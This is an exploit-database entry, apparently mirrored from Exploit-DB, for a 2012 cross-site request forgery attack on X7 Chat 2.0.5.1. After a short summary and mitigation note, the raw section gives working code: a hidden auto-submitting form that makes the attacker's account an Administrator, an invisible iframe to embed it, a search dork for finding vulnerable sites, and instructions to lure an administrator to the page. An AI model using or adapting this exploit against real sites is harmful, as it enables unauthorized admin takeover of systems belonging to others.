header-logo
Suggest Exploit
vendor:
X7 Chat
by:
DennSpec
8,8
CVSS
HIGH
Cross-Site Request Forgery (CSRF)
352
CWE
Product Name: X7 Chat
Affected Version From: 2.0.5.1
Affected Version To: 2.0.5.1
Patch Exists: NO
Related CWE: N/A
CPE: a:x7chat:x7_chat:2.0.5.1
Metasploit: N/A
Other Scripts: N/A
Tags: N/A
CVSS Metrics: N/A
Nuclei References: N/A
Nuclei Metadata: N/A
Platforms Tested: None
2012

X7 Chat 2.0.5.1 CSRF Add Admin Exploit

This exploit allows an attacker to add an admin user to the X7 Chat 2.0.5.1 application by exploiting a Cross-Site Request Forgery (CSRF) vulnerability. The attacker must first register a user and then send the main page URL to an administrator. The main page URL contains an iframe which contains a form that posts to the application's admin panel page. The form contains the attacker's username and sets the usergroup to 'Administrator'. When the administrator visits the main page URL, the form is automatically submitted and the attacker's user is added as an administrator.

Mitigation:

The application should validate requests to ensure that they are coming from the same origin and not from a malicious third-party. Additionally, the application should use anti-CSRF tokens to ensure that requests are valid.
Source

Exploit-DB raw data:

# Exploit Title: X7 Chat 2.0.5.1 CSRF Add Admin Exploit
# Google Dork: intitle:"Chat Room" "Powered By X7 Chat 2.0.5"
# Date: 09.05.2012
# Author: DennSpec
# Software Link: http://x7chat.com/releases/v2/x7chat2_0_5_1.zip
# Version: <= 2.0.5.1

firstly, register and give a username.

(frame.html in path of your main html page)

<html>
    <body onload="document.xform.submit();">
        <form name="xform" action="http://xxxxxxxxx.com/x7path/index.php?act=adminpanel&cp_page=users&update=YOURUSERNAME" method="post">
            <input type="hidden" name="username" value="YOURUSERNAME" />
            <input type="hidden" name="usergroup" value="Administrator" />
        </form>
    </body>
</html>

Replace http://xxxxxxxxx.com/x7path/ to your target url. Dont forget replace YOURUSERNAME to YOURUSERNAME.

add this code to inside body tag of main html page:
<iframe style="display:none;" src="frame.html"></iframe>

and... upload main page and frame.html . Send main page url to any administrator.